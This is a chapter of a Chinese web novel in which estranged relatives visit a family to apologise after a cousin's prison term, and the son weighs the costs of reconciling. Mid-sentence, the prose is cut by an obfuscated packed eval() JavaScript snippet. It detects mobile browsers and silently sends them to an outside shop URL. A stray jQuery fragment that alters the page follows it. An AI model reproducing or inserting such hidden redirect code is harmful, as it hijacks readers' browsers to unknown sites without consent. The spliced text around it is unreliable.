叶舟跟着姜映月去市里吃饭、跑人脉，家里一下子清净下来，就剩宁蕙心和叶子安娘俩。
腊月二十七，年越来越近，村里家家户户都透着忙年的热闹，唯独叶家小院安安静静。
下午的太阳懒洋洋挂在西边，温温吞吞的，晒在身上也不暖和。宁蕙心看了看街上，行人稀稀拉拉，没人再来买东西，该备年货的早就备齐了，剩下的都是闲逛的。她干脆把超市卷帘门哗啦一声拉下来，落锁关好。
“今年早点收摊，也歇歇一天。”
她自言自语嘀咕了一句，转身回院子，拎着小竹篮进厨房，准备晚上的饭菜。
堂屋里，叶子安搬着小板凳坐在门口，晒着仅剩的一点太阳，捧着厚厚的唐史看得入神。一边看，他一边小声碎碎念：“唐朝权谋是真乱……一环扣一环，一点错都不能出。”他得把整套脉络吃透，心里捋顺了，后面自己动笔写东西才有底子。
院子里静悄悄的，只有菜刀偶尔切在案板上的笃笃声。
就在这时候，院门外传来动静。不是正常人串门那种两三步的轻脚步声，是一大堆人拖沓杂乱的声响，叽叽喳喳压着嗓子，听着鬼鬼祟祟的。
叶子安第一时间合上书，抬眼看向大门。宁蕙心也停下手里的活，手里还捏着半根没切完的大葱，探头往外一望——这一望，她脸色瞬间沉下来。
院门被人轻轻推开，一伙人鱼贯而入，乌泱泱站了一院子。
带头的是大爷爷叶宗德，一身黑棉袄洗得发白，头发花白，背有点驼，年纪大了，脸上褶子一层叠一层。明明是上门求人，还硬挺着腰板，看着别扭得很。紧随其后的是大奶奶，裹着大红围巾，手里提两个塑料袋，鼓鼓囊囊的，看着是肉和鱼。后面跟着三爷爷两口子，最后头缩着的是叶旺。再往后，叶晓明、叶晓东夫妻俩，躲在人群最后面，头不敢抬，眼不敢看，浑身透着心虚。
叶子安心里瞬间冷笑一声。
叶旺出来了。去年偷自家超市，贪那点小钱，结果被王洪国抓个正着。本来就是小偷小摸，数额不大，好好认错、赔个钱、说两句软话，顶多教育一顿就完事。偏偏叶旺心理素质差，被王洪国吓唬两句，吓得脑子空白，把以前从小到大偷鸡摸狗、四处偷窃的旧账全部交代了。前前后后一算，金额够刑，直接判了一年，老老实实蹲了一整年牢。现在年关刚到，正好放出来了。
一家人这是组团上门，演戏来了。
宁蕙心擦了擦手上的葱水，把围裙理了理，走出去。她没喊大伯，也没喊三叔。一句长辈称呼都没有。态度冷淡得明明白白。
“你们怎么来了？”她语气平平，“叶舟不在家，去市里了，你们有事改天再来吧。”
叶宗德赶紧上前两步，堆着一脸尴尬的笑：“蕙心啊，天寒地冻的，外边风大，站院子里多冷，有话进屋说，进屋说。”
“不用了。”宁蕙心摇摇头，“屋里乱糟糟的，年货乱七八糟堆着，也没收拾，就在这儿说就行。”
叶子安坐在门口静静听着。这话听着客气，实际上就是：不欢迎，不请你们进门。
大奶奶连忙把手里的袋子往前递，满脸讨好：“蕙心，别嫌弃啊，一点小东西。割了几斤新鲜猪肉，还有两条鱼，都是自家置办的年货，拿来给你们尝尝。”
“不用。”宁蕙心依旧不接。
气氛瞬间尴尬住。大奶奶手拎着东西，递也不是，收也不是。叶宗德只好接过来，轻轻放在院里的石墩上，干咳两声：“都是心意，不值钱，不值钱。”
说完，他转头狠狠瞪向身后的叶旺，压低声音厉喝：“还愣着干什么！给你嫂子道歉！跪下！”
“扑通”一声。叶旺双膝砸在冻硬的地上，结结实实跪下去，膝盖震得发疼。他低着头，声音闷闷的，不敢看人：“嫂子，我错了，我以前不懂事，犯浑，对不起你们家。”
叶子安眯着眼看着。有意思。以前叶旺年轻气盛，眼高于顶，仗着辈分年纪，从来都是直呼“宁蕙心”的名字，嚣张得很。今天落魄了、坐牢出来了，懂得喊嫂子了。纯粹是形势逼人，半点真心没有。
叶宗德看着跪在地上的叶旺，叹了口气，摆出一副痛心疾首的样子：“蕙心，你也看见了。这孩子去年鬼迷心窍，做了糊涂事，进去蹲了一年。这一年牢饭吃下来，罪也受了，人也老实了，真改了。”他往前凑了半步，语气软得不行，“我今天特意带着他全家上门，就是专门来赔罪的。都是一个老叶家的血脉，以前那些疙瘩、那些别扭，能不能就此翻篇？咱们亲戚，还像以前那样走动，行不行？”
院子里一下子安静了。风刮过墙头，呼呼作响，吹得人脸上发凉。
宁蕙心没立刻回话，沉默了好几秒。
三爷爷叶宗富赶紧出来打圆场，和稀泥：“是啊蕙心！一家人哪有隔夜仇！叶旺这一年瘦得脱相，在里面遭老罪了，足够教训了。年轻人犯错，改过就好，咱们做长辈的，得给他一条回头路走啊。”
叶子安坐在门口，心里默默吐槽。犯错坐牢是法律惩罚，是他自己活该，凭什么要别人心软给他铺路？当初落井下石的时候，怎么没想过留后路？
宁蕙心终于开口，声音不高，却字字清亮：“我知道你们是来求和的，我也明白你们的意思。但家里做主的是叶舟，不是我。大事我不能随便答应。”
叶宗德连忙接话：“没事没事，我们可以等，等小舟回来再说！”
宁蕙心没给他顺着台阶下的机会，继续道：“既然你们有心求和，那我就把话说在前头。早些年，叶舟他爹走得早，家里最难、最可怜的时候，你们这帮长辈，是怎么对我们的？后来叶舟刚参加工作，在镇上到处碰壁、受委屈、日子紧巴巴的时候，你们又是怎么躲着我们、看我们笑话的？这些陈年旧账，我不想一条条翻出来，大家脸上都不好看。”
院里所有人瞬间噤声。叶旺头埋得更低，肩膀都缩起来了。
宁蕙心抬手轻轻摸了摸叶子安的肩膀，眼神平静却坚定：“今天叶旺跪一下、道个歉，看着是知错了。但我心里清楚，以前的伤，不是一句对不起就能抹平的。你们真想把亲戚关系捡回来，也不是不行。但是，别抱着糊弄的心思。明天叶舟在家，你们再来。怎么认错、怎么赔罪、以后怎么相处，你们自己回去好好想清楚、掂量明白。”
她最后把丑话说死：“要是你们觉得麻烦，觉得没必要，那现在这样也挺好。断亲就断亲，各过各的，互不打扰，大家都清净。”
这话一出，叶宗德瞬间急了，脸色都变了。他最怕的就是彻底断干净。现在叶舟势头正盛，年轻有为、身居要职，是整个老叶家最出息的人。他们好不容易拉下脸皮组团来求和，就是为了攀附、沾光、以后有靠山。要是彻底断亲，那才是真亏大了。
“别别别！蕙心你可别这么说！”叶宗德连忙摆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684367|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手，一脸慌张，“哪有真断亲的道理！打断骨头连着筋，都是自家人！我们回去好好反省，好好琢磨！明天一早，我们准时过来，认认真真给小舟赔罪！”
说完，他回头给身后众人递眼神。大奶奶、三爷爷夫妻俩、叶晓明两口子，瞬间全部堆起讨好的笑，齐刷刷看着宁蕙心。那变脸速度，看得叶子安心里一阵唏嘘——去年翻脸比翻书快，今年讨好比谁都乖。人性趋利，真的赤裸裸。
宁蕙心淡淡点头：“行，我知道了。”
就这一句，让所有人松了口气，仿佛大事成了。叶宗德赶紧让叶旺起来：“起来吧，别跪着了，地上凉。”叶旺慢吞吞爬起来，膝盖沾满灰土，低着头不敢看人。一群人脸上挂着尬笑，一边往后退一边客套：“那蕙心，我们先回去准备！明天一定早点过来！你多帮我们说说好话啊！”
说完，一行人乌泱泱走出院门。“咔哒”一声，院门关上。杂乱的脚步声、虚伪的客套声，终于彻底远去。
院子瞬间安静下来。
宁蕙心紧绷的身子一松，长长吐出一口气，整个人轻轻靠在门框上。刚才强撑出来的冷静和强势，一下子卸了大半。她转头看向叶子安，语气带着一丝茫然和无奈，小声嘀咕：“儿子，你说这帮人……到底图啥啊？当初是他们非要断亲、看不起咱们家。现在你爸刚起来一点，他们立马扎堆上门认错。我都看不懂了。咱们……真的要跟他们和好、重新走动吗？”
叶子安站起身，走到母亲身边，轻轻安慰了一句：“妈，你刚才做得很好，没毛病，不松口、不得罪，分寸刚好。”
他望着空荡荡的院子，心里思绪翻涌。前世他见过太多这样的嘴脸——落魄时躲得远远的，一朝得势就贴上来，比狗鼻子还灵。这些问题，他看透了，也早就想明白了。
“和好有和好的麻烦。这帮人眼皮子浅、贪得无厌，真恢复亲戚名分，转头就敢打着我爸的旗号在外边招摇撞骗、仗势欺人。乡下人不懂体制规矩，乱来一通，最后所有黑锅、所有名声污点，全是我爸来背。可不和好，也有明面隐患。农村最讲宗族人情，当官的被扣上六亲不认、冷酷无情的帽子，最容易被对手抓着放大抹黑，影响仕途口碑。这是死两难，我爸未必能看透两层利弊，大概率会心软留情。”
宁蕙心听得心里咯噔一下，更纠结了：“那咋办啊？左也不是右也不是，真是为难人。”
叶子安眼神沉静，语气笃定，轻声道：“所以得等我爸回来。不用指望他天然通透，到时候我悄悄提点他，教他拿捏分寸。既不彻底断亲落人口实，也绝不真的纵容他们攀附乱来。我能让他把这盘人情烂棋，下成一步稳棋。”
宁蕙心愣了愣，看着少年沉稳笃定的样子，莫名心里安稳了不少，无奈叹道：“也只能靠你多琢磨、多提醒了。”
母子俩转身回屋，关上房门。厨房里柴火还燃着，锅里的水咕嘟咕嘟冒着热气。
窗外寒风呜呜刮着，吹动窗纸沙沙作响。
叶子安重新坐回小板凳上，看着摊开的唐史，却一个字也读不进去。满脑子都是明天的局面。这帮亲戚今天只是低级试探、演戏卖惨，明天再来，绝对是揣着算计、想着占便宜、死缠烂打攀关系的重头戏。
他轻声喃喃一句：“朝堂权谋好解，家里的趋利人心，才是最难拿捏的局……”
一场牵扯名声、亲情、利弊的麻烦棋局，才刚刚开始落子。